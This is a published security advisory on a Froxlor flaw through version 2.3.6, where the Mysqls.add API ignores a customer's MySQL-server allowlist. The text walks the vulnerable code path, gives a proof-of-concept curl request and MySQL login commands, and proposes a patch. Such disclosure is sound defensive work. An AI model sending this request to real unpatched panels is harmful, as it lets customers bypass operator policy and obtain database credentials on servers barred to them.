GHSA-q4rm-m6xh-5pv7: Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API
Summary The Mysqls.add API command (lib/Froxlor/Api/Commands/Mysqls.php) accepts a customer-controlled mysqlserver parameter and only validates that the value is numeric and that the server index exists in userdata.inc.php. It never checks the value against the calling customer's allowedmysqlserver allowlist.
Published Jul 2, 2026
Affected packages
froxlor/froxlor
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.3.6
- Fixed in
- 2.3.7
- Check
composer show froxlor/froxlor
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The Mysqls.add API command (lib/Froxlor/Api/Commands/Mysqls.php) accepts a customer-controlled mysql_server parameter and only validates that the value is numeric and that the server index exists in userdata.inc.php. It never checks the value against the calling customer's allowed_mysqlserver allowlist. A customer can therefore create a database, plus a MySQL user with a password they choose, on any MySQL server the operator has configured — including servers that were explicitly excluded from that customer (e.g. a separate cluster, premium-tier host, or another tenant pool). The same allowed_mysqlserver check is correctly enforced in MysqlServer::get() / MysqlServer::listing() and in the customer-facing UI (customer_mysql.php), confirming the omission is a bug, not by-design.
Details
Vulnerable code path — lib/Froxlor/Api/Commands/Mysqls.php:69-99 (add()):
public function add()
{
if (($this->getUserDetail('mysqls_used') < $this->getUserDetail('mysqls') || ...) {
...
$customer = $this->getCustomerData('mysqls'); // line 80
$dbserver = $this->getParam('mysql_server', true, // line 81 — user-controlled
$this->getDefaultMySqlServer($customer));
...
$dbserver = Validate::validate($dbserver, ..., '/^[0-9]+$/', ...); // line 92 — numeric only
Database::needRoot(true, $dbserver, false); // line 93 — root ctx for ANY index
Database::needSqlData();
$sql_root = Database::getSqlData();
Database::needRoot(false);
if (!is_array($sql_root)) { // line 97 — only existence check
throw new Exception("Database server with index #" . $dbserver . " is unknown", 404);
}
...
$username = $dbm->createDatabase($newdb_params['loginname'], $password,
$dbserver, ...); // line 116/118 — DB+user created
...
Database::pexecute($stmt, ["customerid"=>$customer['customerid'], ..., "dbserver"=>$dbserver], ...);
}
}The $customer['allowed_mysqlserver'] field IS read on line 80 but is only consumed by getDefaultMySqlServer() (lines 566-573) to compute a default when the request omits mysql_server. As soon as the client supplies the parameter, the default path is skipped and no further authorization gate runs.
Cross-file evidence the check is intended elsewhere:
lib/Froxlor/Api/Commands/MysqlServer.php:319-323—get()rejects with HTTP 405 when$dbserveris not inallowed_mysqlserver: ``php if ($this->isAdmin() == false) { $allowed_mysqls = json_decode($this->getUserDetail('allowed_mysqlserver'), true); if ($allowed_mysqls === false || empty($allowed_mysqls) || !in_array($dbserver, $allowed_mysqls)) { throw new Exception("You cannot access this resource", 405); } ... }``lib/Froxlor/Api/Commands/MysqlServer.php:252-257— same allowlist filter onlisting().customer_mysql.php:222— UI rejects withResponse::dynamicError('No permission')whenempty($allowed_mysqlservers).
Chain of execution (attacker → impact):
- Customer authenticates to
api.phpwith apikey/secret. The only API gate iscust_api_allowed;allowed_mysqlserveris not consulted at auth time. - Customer sends JSON
{"command":"Mysqls.add","params":{"mysql_password":"<valid>","mysql_server":<disallowed_idx>}}. Mysqls.php:71quota check passes (mysqls_used < mysqls).Mysqls.php:80getCustomerData('mysqls')returns the caller's own row.Mysqls.php:81$dbserveris set from the request (default-fallback path skipped).Mysqls.php:92numeric regex passes.Mysqls.php:93-99Database::needRoot(true, $dbserver, false)switches to the root context of the attacker-chosen server; existence check passes.Mysqls.php:116/118DbManager::createDatabase(...)runs against the disallowed server using stored root credentials, creating the DB and granting the supplied password to<loginname>_<sqlN>(DbManager.php:177-218).Mysqls.php:127-141inserts a row intoTABLE_PANEL_DATABASESwith the attacker'scustomeridand the disalloweddbserver, allowing later management viaMysqls.get/update/delete(which only filter bycustomeridfor non-admins, e.g.Mysqls.php:282).
PoC
Preconditions on the target instance:
- ≥2 MySQL servers configured in
lib/userdata.inc.php(e.g. index 0 default, index 1 internal/premium). - Customer X with
allowed_mysqlserver=[0],cust_api_allowed=1,mysqls > 0, and an issued API key (apikey:secret).
Request — customer creates a database on server 1, which is *not* in their allowlist:
curl -k -u 'CUST_APIKEY:CUST_SECRET' \
-H 'Content-Type: application/json' \
-X POST \
-d '{"command":"Mysqls.add","params":{"mysql_password":"ValidP@ssw0rd!","mysql_server":1}}' \
https://froxlor.example.com/api.phpExpected (mirroring MysqlServer.get() behaviour): HTTP 405 — "You cannot access this resource". Actual: HTTP 200 with the full database record, e.g.:
{"data":{"id":42,"customerid":<cust_id>,"databasename":"<loginname>_sql1","dbserver":1,...}}Verify the credentials work on the forbidden server:
mysql -h server1.host -u <loginname>_sql1 -p # password: ValidP@ssw0rd!
mysql> SHOW DATABASES; # the new DB is present
mysql> USE <loginname>_sql1; # full access to the newly-created DBThe customer can subsequently manage the DB via Mysqls.get, Mysqls.update, and Mysqls.delete — those non-admin code paths filter only by customerid (Mysqls.php:282-289, Mysqls.php:380-391), which matches.
Impact
- Bypass of the per-customer MySQL-server allowlist (
allowed_mysqlserver) enforced by the admin/reseller. The authorization model is fully defeated for theaddoperation. - The customer obtains valid MySQL credentials on a server the operator explicitly excluded for them — possibly an internal/separate cluster, billing tier, premium-only host, or a server provisioned for a different tenant pool.
- The customer can persist a DB on the forbidden server (resource and policy bypass), then read/write data there, and continue to manage it through
Mysqls.update/Mysqls.delete. - Impact is bounded: privileges granted by
DbManager::grantPrivilegesToapply only to the new<loginname>_sqlNdatabase, so no cross-tenant data exposure on the forbidden server. The damage is policy bypass, resource consumption on the forbidden server, and credential persistence there.
Recommended Fix
Mirror the allowlist check already present in MysqlServer::get(). After the numeric validation on Mysqls.php:92, before Database::needRoot(...), add for non-admin callers:
// validate whether the dbserver exists
$dbserver = Validate::validate($dbserver, html_entity_decode(lng('mysql.mysql_server')), '/^[0-9]+$/', '', 0, true);
// enforce per-customer allowed_mysqlserver allowlist (parity with MysqlServer::get())
if (!$this->isAdmin()) {
$allowed = json_decode($customer['allowed_mysqlserver'] ?? '[]', true);
if (!is_array($allowed) || empty($allowed)
|| !in_array((int)$dbserver, array_map('intval', $allowed), true)) {
throw new Exception('You cannot access this resource', 405);
}
}
Database::needRoot(true, $dbserver, false);Audit Mysqls::update(), Mysqls::delete(), and Mysqls::get() for the same gap: those endpoints accept mysql_server and ultimately call Database::needRoot(true, $result['dbserver'], false) on the row's stored value. Once the row exists with a forbidden dbserver, those paths execute against the forbidden server unchallenged. Consider rejecting any non-admin operation whose target row's dbserver is outside allowed_mysqlserver, even if the row already exists, to defend in depth.
Credited to offset.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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